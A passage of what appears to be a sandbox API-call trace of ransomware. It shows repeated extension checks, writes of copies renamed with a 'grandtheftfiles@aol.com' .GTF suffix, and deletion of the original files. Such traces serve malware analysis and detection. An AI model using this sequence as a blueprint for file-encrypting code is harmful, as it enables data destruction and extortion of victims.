	[0163.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0163.657] lstrlenW (lpString=".zip") returned 4
	[0163.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.657] lstrlenW (lpString=".rar") returned 4
	[0163.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.657] lstrlenW (lpString=".bz2") returned 4
	[0163.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.657] lstrlenW (lpString=".7z") returned 3
	[0163.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0163.657] lstrlenW (lpString=".dbf") returned 4
	[0163.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0163.657] lstrlenW (lpString=".1cd") returned 4
	[0163.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0163.657] lstrlenW (lpString=".jpg") returned 4
	[0163.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.657] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0163.657] lstrlenW (lpString="J0105306.WMF") returned 12
	[0163.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0163.658] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=4320) returned 1
	[0163.658] CloseHandle (hObject=0x53c) returned 1
	[0163.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 0x220
	[0163.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0163.658] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.659] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0163.659] GetLastError () returned 0x0
	[0163.659] ReadFile (in: hFile=0x53c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x10e0, lpOverlapped=0x0) returned 1
	[0163.723] WriteFile (in: hFile=0x42c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x10f0, lpOverlapped=0x0) returned 1
	[0163.724] ReadFile (in: hFile=0x53c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.724] WriteFile (in: hFile=0x42c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.724] SetEndOfFile (hFile=0x42c) returned 1
	[0163.724] CloseHandle (hObject=0x42c) returned 1
	[0163.724] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.724] SetEndOfFile (hFile=0x53c) returned 1
	[0163.727] CloseHandle (hObject=0x53c) returned 1
	[0163.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 1
	[0164.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0164.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0164.473] lstrlenW (lpString=".doc") returned 4
	[0164.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.473] lstrlenW (lpString=".docx") returned 5
	[0164.473] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0164.473] lstrlenW (lpString=".pdf") returned 4
	[0164.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.473] lstrlenW (lpString=".xls") returned 4
	[0164.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.473] lstrlenW (lpString=".xlsx") returned 5
	[0164.473] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0164.473] lstrlenW (lpString=".ppt") returned 4
	[0164.473] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0164.473] lstrlenW (lpString=".zip") returned 4
	[0164.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.473] lstrlenW (lpString=".rar") returned 4
	[0164.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.473] lstrlenW (lpString=".bz2") returned 4
	[0164.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.473] lstrlenW (lpString=".7z") returned 3
	[0164.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0164.473] lstrlenW (lpString=".dbf") returned 4
	[0164.474] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0164.474] lstrlenW (lpString=".1cd") returned 4
	[0164.474] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0164.474] lstrlenW (lpString=".jpg") returned 4
	[0164.474] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0164.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0164.474] lstrlenW (lpString=".doc") returned 4
	[0164.474] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.474] lstrlenW (lpString=".docx") returned 5
	[0164.474] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0164.474] lstrlenW (lpString=".pdf") returned 4
	[0164.474] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.474] lstrlenW (lpString=".xls") returned 4
	[0164.474] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.474] lstrlenW (lpString=".xlsx") returned 5
	[0164.474] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0164.474] lstrlenW (lpString=".ppt") returned 4
	[0164.474] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0164.474] lstrlenW (lpString=".zip") returned 4
	[0164.474] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.474] lstrlenW (lpString=".rar") returned 4
	[0164.474] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.474] lstrlenW (lpString=".bz2") returned 4
	[0164.474] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.474] lstrlenW (lpString=".7z") returned 3
	[0164.474] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0164.474] lstrlenW (lpString=".dbf") returned 4
	[0164.474] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0164.474] lstrlenW (lpString=".1cd") returned 4
	[0164.475] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0164.475] lstrlenW (lpString=".jpg") returned 4
	[0164.475] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.475] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0164.475] lstrlenW (lpString="J0105380.WMF") returned 12
	[0164.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0164.476] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=4624) returned 1
	[0164.476] CloseHandle (hObject=0x508) returned 1
	[0164.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 0x220
	[0164.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0164.477] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.477] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0164.477] GetLastError () returned 0x0
	[0164.478] ReadFile (in: hFile=0x508, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x1210, lpOverlapped=0x0) returned 1
	[0164.586] WriteFile (in: hFile=0x530, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1220, lpOverlapped=0x0) returned 1
	[0164.587] ReadFile (in: hFile=0x508, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.587] WriteFile (in: hFile=0x530, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.587] SetEndOfFile (hFile=0x530) returned 1
	[0164.613] CloseHandle (hObject=0x530) returned 1
	[0164.615] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.615] SetEndOfFile (hFile=0x508) returned 1
	[0164.691] CloseHandle (hObject=0x508) returned 1
	[0164.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.825] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 1
	[0164.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0164.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0164.825] lstrlenW (lpString=".doc") returned 4
	[0164.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.825] lstrlenW (lpString=".docx") returned 5
	[0164.825] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0164.825] lstrlenW (lpString=".pdf") returned 4
	[0164.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.825] lstrlenW (lpString=".xls") returned 4
	[0164.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.825] lstrlenW (lpString=".xlsx") returned 5
	[0164.825] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0164.825] lstrlenW (lpString=".ppt") returned 4
	[0164.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0164.825] lstrlenW (lpString=".zip") returned 4
	[0164.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.826] lstrlenW (lpString=".rar") returned 4
	[0164.826] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.826] lstrlenW (lpString=".bz2") returned 4
	[0164.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.826] lstrlenW (lpString=".7z") returned 3
	[0164.826] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0164.826] lstrlenW (lpString=".dbf") returned 4
	[0164.826] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0164.826] lstrlenW (lpString=".1cd") returned 4
	[0164.826] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0164.826] lstrlenW (lpString=".jpg") returned 4
	[0164.826] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0164.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0164.826] lstrlenW (lpString=".doc") returned 4
	[0164.826] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.826] lstrlenW (lpString=".docx") returned 5
	[0164.826] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0164.826] lstrlenW (lpString=".pdf") returned 4
	[0164.826] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.826] lstrlenW (lpString=".xls") returned 4
	[0164.826] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.826] lstrlenW (lpString=".xlsx") returned 5
	[0164.826] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0164.826] lstrlenW (lpString=".ppt") returned 4
	[0164.826] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0164.826] lstrlenW (lpString=".zip") returned 4
	[0164.826] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.826] lstrlenW (lpString=".rar") returned 4
	[0164.827] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.827] lstrlenW (lpString=".bz2") returned 4
	[0164.827] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.827] lstrlenW (lpString=".7z") returned 3
	[0164.827] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0164.827] lstrlenW (lpString=".dbf") returned 4
	[0164.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0164.827] lstrlenW (lpString=".1cd") returned 4
	[0164.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0164.827] lstrlenW (lpString=".jpg") returned 4
	[0164.827] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.827] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0164.827] lstrlenW (lpString="J0105414.WMF") returned 12
	[0164.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0164.895] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=6244) returned 1
	[0164.895] CloseHandle (hObject=0x554) returned 1
	[0164.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 0x220
	[0164.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0165.187] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.217] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0165.232] GetLastError () returned 0x0
	[0165.232] ReadFile (in: hFile=0x508, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x1864, lpOverlapped=0x0) returned 1
	[0165.688] WriteFile (in: hFile=0x538, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1870, lpOverlapped=0x0) returned 1
	[0165.689] ReadFile (in: hFile=0x508, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.689] WriteFile (in: hFile=0x538, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.689] SetEndOfFile (hFile=0x538) returned 1
	[0165.691] CloseHandle (hObject=0x538) returned 1
	[0165.691] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.691] SetEndOfFile (hFile=0x508) returned 1
	[0165.694] CloseHandle (hObject=0x508) returned 1
	[0165.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 1
	[0165.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0165.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0165.696] lstrlenW (lpString=".doc") returned 4
	[0165.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.696] lstrlenW (lpString=".docx") returned 5
	[0165.696] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0165.696] lstrlenW (lpString=".pdf") returned 4
	[0165.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.696] lstrlenW (lpString=".xls") returned 4
	[0165.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.696] lstrlenW (lpString=".xlsx") returned 5
	[0165.696] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0165.696] lstrlenW (lpString=".ppt") returned 4
	[0165.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0165.696] lstrlenW (lpString=".zip") returned 4
	[0165.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.696] lstrlenW (lpString=".rar") returned 4
	[0165.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.696] lstrlenW (lpString=".bz2") returned 4
	[0165.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.696] lstrlenW (lpString=".7z") returned 3
	[0165.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0165.696] lstrlenW (lpString=".dbf") returned 4
	[0165.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0165.696] lstrlenW (lpString=".1cd") returned 4
	[0165.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0165.696] lstrlenW (lpString=".jpg") returned 4
	[0165.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0165.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0165.696] lstrlenW (lpString=".doc") returned 4
	[0165.697] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.697] lstrlenW (lpString=".docx") returned 5
	[0165.697] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0165.697] lstrlenW (lpString=".pdf") returned 4
	[0165.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.697] lstrlenW (lpString=".xls") returned 4
	[0165.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.697] lstrlenW (lpString=".xlsx") returned 5
	[0165.697] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0165.697] lstrlenW (lpString=".ppt") returned 4
